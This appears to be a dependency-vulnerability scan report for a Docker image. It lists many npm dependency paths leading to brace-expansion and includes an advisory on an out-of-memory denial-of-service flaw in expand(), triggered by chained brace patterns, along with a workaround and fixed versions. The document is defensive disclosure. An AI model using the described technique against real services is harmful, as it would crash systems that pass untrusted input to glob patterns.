  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1

Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the expand() function and its recursive expand_ helper, which cap the number of results via the max option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as {a,b} repeated, keeping the result count under max while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to expand(), directly or transitively through minimatch or glob brace patterns.

Workaround

This vulnerability can be avoided by passing small explicit max and maxLength options to expand(), bounding both the number of results and the length of each so total output stays limited.

Remediation

Upgrade brace-expansion to version 1.1.16, 2.1.2, 5.0.8 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: brace-expansion
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6 › brace-expansion@2.0.2
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
